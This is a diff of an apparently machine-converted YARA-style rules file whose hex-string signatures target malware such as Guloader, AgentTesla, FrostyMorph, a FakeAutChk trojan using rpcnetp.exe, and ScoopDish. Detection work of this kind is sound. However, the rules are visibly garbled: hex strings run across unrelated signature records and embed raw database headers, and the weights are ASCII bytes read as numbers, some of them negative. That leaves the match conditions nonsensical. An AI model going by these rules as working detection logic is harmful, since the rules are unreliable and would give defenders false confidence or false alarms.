21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 4b 31 32 33 21 4d 54 42 00 01 00 13 81 01 75 64 75 65 6c 69 67 73 74 65 73 20 67 61 6c 69 70 6f } //25964 + condition: + ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_9d_3 & 1)*0+(#a_65_4 & 1)*25964) >=5 + +} +rule _InfrastructureShared_11547{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 51 30 31 21 4d 54 42 00 01 00 19 81 01 72 6f 64 66 6f 72 64 72 76 65 72 6e 65 20 6c 65 67 69 74 69 6d 69 7a 65 64 01 00 12 81 01 61 64 76 6f 6b 65 72 65 6e 64 65 20 63 6c 69 76 65 73 01 00 0b 81 } //18467 + $a_73_1 = {65 73 6d 61 61 6b 64 01 00 1e 81 01 6d 65 6e 75 62 69 6c 6c 65 64 65 72 6e 65 73 20 75 6e 64 65 72 66 72 69 6e 67 65 72 6e 65 01 00 08 81 01 62 72 6f 6d 2e 65 78 65 00 00 78 9d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 4b 31 32 33 21 4d 54 42 00 01 00 13 81 01 75 64 } //26113 + $a_69_2 = {73 74 65 73 20 67 61 6c 69 70 6f 74 01 00 15 81 01 68 65 73 74 65 68 61 61 72 65 6e 65 20 70 65 74 61 6c 69 73 6d 01 00 09 81 01 69 6e 64 74 61 6c 69 6e 67 01 00 07 81 01 75 62 61 61 64 65 73 01 00 22 81 01 6f 70 73 61 6d 6c 69 6e 67 65 72 73 20 73 72 67 65 6d 61 72 63 68 73 20 73 70 6e 64 65 74 72 6a 65 6e 00 00 78 9d 00 } //25973 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26113+(#a_69_2 & 1)*25973) >=5 + +} +rule _InfrastructureShared_11548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -118592,7 +126400,7 @@ rule _InfrastructureShared_10847{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28265+(#a_69_3 & 1)*28417+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_10848{ +rule _InfrastructureShared_11549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -118606,7 +126414,7 @@ rule _InfrastructureShared_10848{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*385+(#a_41_2 & 1)*385+(#a_00_3 & 1)*25976+(#a_65_4 & 1)*385) >=5 } -rule _InfrastructureShared_10849{ +rule _InfrastructureShared_11550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -118619,7 +126427,7 @@ rule _InfrastructureShared_10849{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24939+(#a_63_2 & 1)*29804+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_10850{ +rule _InfrastructureShared_11551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -118633,7 +126441,7 @@ rule _InfrastructureShared_10850{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26990+(#a_00_2 & 1)*26724+(#a_65_3 & 1)*28530+(#a_73_4 & 1)*29797) >=5 } -rule _InfrastructureShared_10851{ +rule _InfrastructureShared_11552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -118648,7 +126456,7 @@ rule _InfrastructureShared_10851{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29555+(#a_57_2 & 1)*385+(#a_3a_3 & 1)*21587+(#a_66_4 & 1)*29441+(#a_6e_5 & 1)*26739) >=5 } -rule _InfrastructureShared_10852{ +rule _InfrastructureShared_11553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -118663,7 +126471,7 @@ rule _InfrastructureShared_10852{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*267+(#a_69_2 & 1)*29537+(#a_00_3 & 1)*6+(#a_41_4 & 1)*12851+(#a_6f_5 & 1)*30017) >=5 } -rule _InfrastructureShared_10853{ +rule _InfrastructureShared_11554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -118677,7 +126485,7 @@ rule _InfrastructureShared_10853{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*853+(#a_90_2 & 1)*13172+(#a_90_3 & 1)*28271+(#a_75_4 & 1)*16725) >=6 } -rule _InfrastructureShared_10854{ +rule _InfrastructureShared_11555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -118689,7 +126497,7 @@ rule _InfrastructureShared_10854{ ((#a_6e_0 & 1)*22307+(#a_49_1 & 1)*21589+(#a_65_2 & 1)*25710) >=6 } -rule _InfrastructureShared_10855{ +rule _InfrastructureShared_11556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -118704,7 +126512,7 @@ rule _InfrastructureShared_10855{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*-32756+(#a_66_2 & 1)*29285+(#a_4d_3 & 1)*12639+(#a_67_4 & 1)*24941+(#a_00_5 & 1)*-6075) >=6 } -rule _InfrastructureShared_10856{ +rule _InfrastructureShared_11557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -118713,30 +126521,46 @@ rule _InfrastructureShared_10856{ $a_74_1 = {65 } //1280 e $a_00_2 = {05 } //11892 $a_73_3 = {2e 01 00 0c 01 67 65 74 5f 41 73 73 65 6d 62 6c 79 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 07 01 52 65 76 65 72 73 65 00 00 78 9d 00 00 06 00 06 00 09 00 21 23 41 4c 46 50 45 52 3a 41 6c 61 6e 41 70 69 48 61 73 68 2e 41 00 01 00 08 01 48 c7 c1 c9 66 a2 45 e8 01 00 0b 01 48 ba 02 9c 95 e6 00 00 00 00 e8 01 00 0b 01 48 b9 f3 aa } //25345 - $a_01_5 = {00 0b 01 48 ba 84 c6 83 b5 00 00 00 00 e8 01 00 0b 01 48 ba 22 a8 c5 8a 00 00 00 00 e8 01 00 08 01 48 c7 c1 31 bb 33 7d e8 01 00 0b 01 48 ba 22 57 fe f5 00 00 00 00 e8 01 00 0b 01 48 ba 98 00 96 cb 00 00 00 00 e8 01 00 08 01 48 c7 c2 70 37 a0 3a e8 00 00 78 9d 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 36 36 34 21 4d 54 42 00 01 00 0f 80 01 67 65 74 5f 50 61 72 61 6d 41 72 72 61 79 30 01 00 12 80 01 67 65 74 5f 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 80 01 47 65 74 43 68 61 72 01 00 08 80 01 54 6f 53 74 72 69 6e 67 01 00 06 80 01 48 75 6e } //0 + $a_01_5 = {00 0b 01 48 ba 84 c6 83 b5 00 00 00 00 e8 01 00 0b 01 48 ba 22 a8 c5 8a 00 00 00 00 e8 01 00 08 01 48 c7 c1 31 bb 33 7d e8 01 00 0b 01 48 ba 22 57 fe f5 00 00 00 00 e8 01 00 0b 01 48 ba 98 00 96 cb 00 00 00 00 e8 01 00 08 01 48 c7 c2 70 37 a0 3a e8 00 00 78 9d 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 72 6f 73 74 79 4d 6f 72 70 68 2e 41 21 64 68 61 00 01 00 07 01 4d 6f 72 70 68 65 72 01 00 12 01 49 6e 6a 65 63 74 65 64 53 65 65 64 43 69 70 68 65 72 01 00 0d 01 44 65 63 72 79 70 74 53 74 72 69 6e 67 01 00 0b 01 44 65 63 72 79 70 74 4c 6f 6e 67 01 00 0c 01 44 65 63 72 79 70 74 46 6c 6f 61 74 01 00 0a 01 44 65 63 72 79 70 74 49 6e 74 01 00 0c 01 } //0 condition: ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*1280+(#a_00_2 & 1)*11892+(#a_73_3 & 1)*25345+(#a_01_5 & 1)*0) >=6 } -rule _InfrastructureShared_10857{ +rule _InfrastructureShared_11558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " strings : $a_46_0 = {45 52 3a 41 6c 61 6e 41 70 69 48 61 73 68 2e 41 00 01 00 08 01 48 c7 c1 c9 66 a2 45 e8 01 00 0b 01 48 ba 02 9c 95 e6 00 00 00 00 e8 01 00 0b 01 48 b9 f3 aa fa ce 00 00 00 00 e8 01 00 0b 01 48 ba 84 c6 83 b5 00 00 00 00 e8 01 00 } //16675 $a_ba_1 = {a8 c5 8a 00 00 00 00 e8 01 00 08 01 48 c7 c1 31 bb 33 7d e8 01 00 0b 01 48 ba 22 57 fe f5 00 00 00 00 e8 01 00 0b 01 48 ba 98 00 96 cb 00 00 00 00 e8 01 00 08 01 48 c7 c2 70 37 a0 3a e8 00 00 78 9d 00 00 07 00 07 00 } //267 - $a_23_2 = {53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 36 36 34 21 } //7 STR:Trojan:MSIL/AgentTesla.VI664! - $a_00_3 = {01 00 0f 80 01 67 65 74 5f 50 61 72 61 6d 41 72 72 61 79 30 01 00 12 80 01 67 65 74 5f 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 } //21581 - $a_47_4 = {74 } //-32761 t - $a_72_5 = {00 08 80 01 54 6f 53 74 72 69 6e 67 01 00 06 80 01 48 75 6e 74 65 72 01 00 05 00 00 43 5f 44 00 00 00 78 9d 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6b 65 41 75 74 43 68 6b 2e 42 41 00 02 00 10 00 48 74 74 70 53 65 6e 64 52 65 71 75 65 73 74 41 } //26691 - $a_00_6 = {5c 53 79 73 74 65 6d 33 32 5c 72 70 63 6e 65 74 70 2e 65 78 65 } //2 \System32\rpcnetp.exe - $a_01_7 = {53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 53 65 72 76 69 63 65 73 5c 72 70 63 6e 65 74 70 } //2 System\CurrentControlSet\Services\rpcnetp - $a_00_8 = {61 00 75 00 74 00 6f 00 63 00 68 00 6b 00 2e 00 65 00 78 00 65 00 } //2 autochk.exe + $a_23_2 = {4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 72 6f 73 74 79 4d 6f 72 70 68 2e 41 21 64 68 } //7 LF:HackTool:MSIL/FrostyMorph.A!dh + $a_00_3 = {07 } //97 + $a_72_4 = {68 65 72 01 00 12 01 49 6e 6a 65 63 74 65 64 53 65 65 64 43 69 70 68 65 72 01 00 0d 01 44 65 63 72 79 70 74 53 74 72 69 6e 67 01 00 0b 01 44 65 63 72 79 70 74 4c 6f 6e 67 01 00 0c 01 44 65 63 72 79 70 74 46 6c 6f 61 74 01 00 0a 01 44 65 63 72 79 70 74 49 6e 74 01 00 0c 01 44 65 63 72 79 70 74 41 72 72 61 79 00 00 78 9d 00 00 07 00 } //19713 + $a_00_5 = {21 23 48 53 54 52 3a } //7 !#HSTR: + $a_6a_6 = {6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 36 36 34 21 4d 54 42 00 01 00 0f 80 01 67 65 74 5f 50 61 72 61 6d 41 72 72 61 79 30 01 00 12 80 01 67 65 74 5f 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 80 01 47 65 74 43 68 61 72 01 00 08 80 01 54 6f } //29268 + $a_69_7 = {67 01 00 06 80 01 48 75 6e 74 65 72 01 00 05 00 00 43 5f 44 00 00 00 78 9d 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6b 65 41 75 74 43 68 6b 2e 42 41 00 02 00 10 00 48 74 74 70 53 65 6e 64 52 65 71 75 65 73 74 41 02 00 15 00 5c 53 79 73 74 65 6d 33 32 5c 72 70 63 6e 65 74 70 2e 65 78 65 02 00 29 } //29779 + $a_73_8 = {65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 53 65 72 76 69 63 65 73 5c 72 70 63 6e 65 74 70 02 00 16 00 61 00 75 00 74 00 6f 00 63 00 68 00 6b 00 2e 00 65 00 78 00 65 00 00 00 78 9d 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 2e 41 42 48 21 4d 54 42 00 0a 00 66 } //21249 condition: - ((#a_46_0 & 1)*16675+(#a_ba_1 & 1)*267+(#a_23_2 & 1)*7+(#a_00_3 & 1)*21581+(#a_47_4 & 1)*-32761+(#a_72_5 & 1)*26691+(#a_00_6 & 1)*2+(#a_01_7 & 1)*2+(#a_00_8 & 1)*2) >=6 + ((#a_46_0 & 1)*16675+(#a_ba_1 & 1)*267+(#a_23_2 & 1)*7+(#a_00_3 & 1)*97+(#a_72_4 & 1)*19713+(#a_00_5 & 1)*7+(#a_6a_6 & 1)*29268+(#a_69_7 & 1)*29779+(#a_73_8 & 1)*21249) >=6 } -rule _InfrastructureShared_10858{ +rule _InfrastructureShared_11559{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 72 6f 73 74 79 4d 6f 72 70 68 2e 41 21 64 68 61 00 01 00 07 01 4d 6f 72 70 68 65 72 01 00 12 01 49 6e 6a 65 63 74 65 64 53 65 65 64 43 69 70 68 65 72 01 00 0d 01 44 65 63 72 79 70 74 } //16675 + $a_69_1 = {67 01 00 0b 01 44 65 63 72 79 70 74 4c 6f 6e 67 01 00 0c 01 44 65 63 72 79 70 74 46 6c 6f 61 74 01 00 0a 01 44 65 63 72 79 70 74 49 6e 74 01 00 0c 01 44 65 63 72 79 70 74 41 72 72 61 79 00 00 78 9d 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 36 36 34 21 4d 54 42 00 } //29779 + $a_80_2 = {67 65 74 5f 50 61 72 61 6d 41 72 72 61 79 30 } //get_ParamArray0 1 + $a_80_3 = {67 65 74 5f 41 72 72 61 79 41 74 74 72 69 62 75 74 65 } //get_ArrayAttribute 1 + $a_80_4 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //FromBase64String 1 + $a_80_5 = {47 65 74 43 68 61 72 } //GetChar 1 + $a_80_6 = {54 6f 53 74 72 69 6e 67 } //ToString 1 + condition: + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29779+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=7 + +} +rule _InfrastructureShared_11560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -118750,7 +126574,7 @@ rule _InfrastructureShared_10858{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*28530+(#a_52_2 & 1)*28261+(#a_00_5 & 1)*10+(#a_61_6 & 1)*28530) >=7 } -rule _InfrastructureShared_10859{ +rule _InfrastructureShared_11561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -118763,7 +126587,7 @@ rule _InfrastructureShared_10859{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*31059+(#a_00_2 & 1)*66+(#a_43_3 & 1)*25976) >=8 } -rule _InfrastructureShared_10860{ +rule _InfrastructureShared_11562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -118773,7 +126597,7 @@ rule _InfrastructureShared_10860{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_10861{ +rule _InfrastructureShared_11563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -118784,7 +126608,7 @@ rule _InfrastructureShared_10861{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*65) >=11 } -rule _InfrastructureShared_10862{ +rule _InfrastructureShared_11564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -118795,7 +126619,7 @@ rule _InfrastructureShared_10862{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*257) >=12 } -rule _InfrastructureShared_10863{ +rule _InfrastructureShared_11565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -118808,7 +126632,7 @@ rule _InfrastructureShared_10863{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_04_2 & 1)*-28632+(#a_02_3 & 1)*28425) >=12 } -rule _InfrastructureShared_10864{ +rule _InfrastructureShared_11566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -118822,7 +126646,7 @@ rule _InfrastructureShared_10864{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*4359+(#a_6e_2 & 1)*268+(#a_41_3 & 1)*19529+(#a_d2_4 & 1)*2147) >=14 } -rule _InfrastructureShared_10865{ +rule _InfrastructureShared_11567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -118835,7 +126659,7 @@ rule _InfrastructureShared_10865{ ((#a_46_0 & 1)*16675+(#a_17_1 & 1)*-25135+(#a_01_2 & 1)*4352+(#a_11_3 & 1)*1043) >=16 } -rule _InfrastructureShared_10866{ +rule _InfrastructureShared_11568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -118843,25 +126667,37 @@ rule _InfrastructureShared_10866{ $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 46 56 21 4d 54 42 00 0a 00 37 03 2b 39 03 09 28 90 02 04 72 90 02 04 09 72 90 02 04 28 90 02 04 5d 17 d6 28 90 02 04 da 13 04 07 11 04 28 90 02 04 28 90 02 04 28 90 02 } //16675 $a_17_1 = {0d 09 08 90 00 02 00 10 80 } //2820 $a_6f_2 = {42 61 73 65 36 34 53 74 72 69 6e 67 02 00 0e 80 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 02 00 0c 80 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 00 00 78 9d 00 00 13 00 13 00 05 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 30 36 30 38 32 31 21 4d 54 42 00 0a 00 19 01 16 0c 2b 11 07 08 07 08 91 06 08 1f 10 5d } //17921 - $a_08_3 = {17 d6 0c 08 11 04 31 02 00 10 01 54 68 72 65 61 64 50 6f 6f 6c 2e 4c 69 67 68 74 05 00 16 01 57 53 53 00 54 00 67 65 74 5f 58 58 49 56 00 58 58 58 58 58 58 00 01 00 0e 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 00 78 9d 00 00 f4 01 f4 01 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 53 63 6f 6f 70 44 69 73 68 2e 41 21 64 68 61 00 64 00 18 01 50 00 61 00 73 00 73 00 77 00 6f 00 72 } //24977 + $a_08_3 = {17 d6 0c 08 11 04 31 02 00 10 01 54 68 72 65 61 64 50 6f 6f 6c 2e 4c 69 67 68 74 05 00 16 01 57 53 53 00 54 00 67 65 74 5f 58 58 49 56 00 58 58 58 58 58 58 00 01 00 0e 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 00 78 9d 00 00 32 00 32 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 42 2e 53 58 21 4d 54 42 00 1e 00 24 03 45 8b f5 48 8d 54 24 40 48 8d 0d 90 01 04 ff 15 90 } //24977 condition: ((#a_46_0 & 1)*16675+(#a_17_1 & 1)*2820+(#a_6f_2 & 1)*17921+(#a_08_3 & 1)*24977) >=16 } -rule _InfrastructureShared_10867{ +rule _InfrastructureShared_11569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 05 00 21 " strings : $a_54_0 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 30 36 30 38 32 31 21 4d 54 42 00 0a 00 19 01 16 0c 2b 11 07 08 07 08 91 06 08 1f 10 5d 91 61 9c 08 17 d6 0c 08 11 04 31 02 00 10 01 54 68 72 65 61 64 50 6f 6f 6c 2e 4c 69 67 68 74 05 00 16 01 } //18467 - $a_00_1 = {54 00 67 65 74 5f 58 58 49 56 00 58 58 58 58 58 58 00 01 00 0e 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 00 78 9d 00 00 f4 01 f4 01 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a } //21335 - $a_4c_2 = {53 63 6f 6f 70 44 69 73 68 2e 41 21 64 68 61 00 64 00 18 01 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 20 00 73 00 65 00 74 00 64 00 0b 01 4c 6f 67 44 65 6c 65 67 61 74 65 64 00 0b 01 5a 69 70 44 65 6c 65 67 61 74 } //21325 - $a_00_4 = {41 00 47 00 4d 00 41 00 20 00 6b 00 65 00 79 00 20 00 3d 00 20 00 22 00 78 00 27 00 64 00 0f 01 46 72 65 65 54 68 61 74 4c 69 62 72 61 72 79 00 00 78 9d 00 00 f4 01 f4 01 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c } //80 + $a_00_1 = {54 00 67 65 74 5f 58 58 49 56 00 58 58 58 58 58 58 00 01 00 0e 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 00 78 9d 00 00 32 00 32 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 } //21335 + $a_2f_2 = {75 73 79 42 2e 53 58 21 4d 54 42 00 1e 00 24 03 45 8b f5 48 8d 54 24 40 48 8d 0d ?? ?? ?? ?? ff 15 ?? ?? ?? ?? 8b d8 48 8b 0d ?? ?? ?? ?? 48 8b 11 ff 12 85 db } //13934 + $a_03_3 = {48 83 7d 20 20 0f 85 ?? ?? ?? ?? 48 8d 45 28 48 89 44 24 20 44 8b 4d 28 41 b8 20 00 00 00 48 8b d6 48 8b cf ff 15 ?? ?? ?? ?? 85 c0 74 6e 48 8d 45 20 48 89 44 24 20 41 b9 36 00 00 00 4c 8d 45 60 49 8b d6 48 8b cf ff 15 } //20 + $a_9d_4 = {00 f4 01 f4 01 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 53 63 6f 6f 70 44 69 73 68 2e 41 21 64 68 61 00 64 00 18 01 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 20 00 73 00 65 00 74 00 64 00 0b 01 4c 6f 67 44 65 6c 65 67 61 74 65 64 00 0b 01 5a 69 70 44 65 6c 65 67 61 74 65 64 00 20 01 50 00 52 00 41 00 47 00 4d 00 41 00 20 00 6b } //0 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*21335+(#a_4c_2 & 1)*21325+(#a_00_4 & 1)*80) >=19 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*21335+(#a_2f_2 & 1)*13934+(#a_03_3 & 1)*20+(#a_9d_4 & 1)*0) >=19 } -rule _InfrastructureShared_10868{ +rule _InfrastructureShared_11570{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 42 2e 53 58 21 4d 54 42 00 1e 00 24 03 45 8b f5 48 8d 54 24 40 48 8d 0d 90 01 04 ff 15 90 01 04 8b d8 48 8b 0d 90 01 04 48 8b 11 ff 12 85 db 90 00 14 00 49 } //21539 + $a_7d_1 = {20 0f 85 90 01 04 48 8d 45 28 48 89 44 24 20 44 8b 4d 28 41 b8 20 00 00 00 48 8b d6 48 8b cf ff 15 90 01 04 85 c0 74 6e 48 8d 45 20 48 89 44 24 20 41 b9 36 00 00 00 4c 8d 45 60 49 8b d6 48 8b cf ff 15 90 00 00 00 78 9d 00 00 f4 01 f4 01 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 53 63 6f 6f 70 44 69 73 68 2e 41 21 64 68 61 00 64 00 18 01 50 00 61 00 73 00 73 00 77 00 } //18435 + condition: + ((#a_4c_0 & 1)*21539+(#a_7d_1 & 1)*18435) >=50 + +} +rule _InfrastructureShared_11571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,fffffff4 01 fffffff4 01 05 00 21 " @@ -118875,7 +126711,7 @@ rule _InfrastructureShared_10868{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*23041+(#a_41_2 & 1)*25455+(#a_73_3 & 1)*27753+(#a_21_4 & 1)*18771) >=500 } -rule _InfrastructureShared_10869{ +rule _InfrastructureShared_11572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,fffffff4 01 fffffff4 01 05 00 21 " @@ -118889,7 +126725,7 @@ rule _InfrastructureShared_10869{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*27753+(#a_21_2 & 1)*18771+(#a_03_3 & 1)*17803+(#a_0f_4 & 1)*400) >=500 } -rule _InfrastructureShared_10870{ +rule _InfrastructureShared_11573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -118899,7 +126735,7 @@ rule _InfrastructureShared_10870{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10871{ +rule _InfrastructureShared_11574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -118909,7 +126745,7 @@ rule _InfrastructureShared_10871{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10872{ +rule _InfrastructureShared_11575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -118919,7 +126755,7 @@ rule _InfrastructureShared_10872{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10873{ +rule _InfrastructureShared_11576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -118929,7 +126765,7 @@ rule _InfrastructureShared_10873{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10874{ +rule _InfrastructureShared_11577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -118939,7 +126775,7 @@ rule _InfrastructureShared_10874{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10875{ +rule _InfrastructureShared_11578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -118949,7 +126785,7 @@ rule _InfrastructureShared_10875{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10876{ +rule _InfrastructureShared_11579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -118959,7 +126795,7 @@ rule _InfrastructureShared_10876{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10877{ +rule _InfrastructureShared_11580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -118969,7 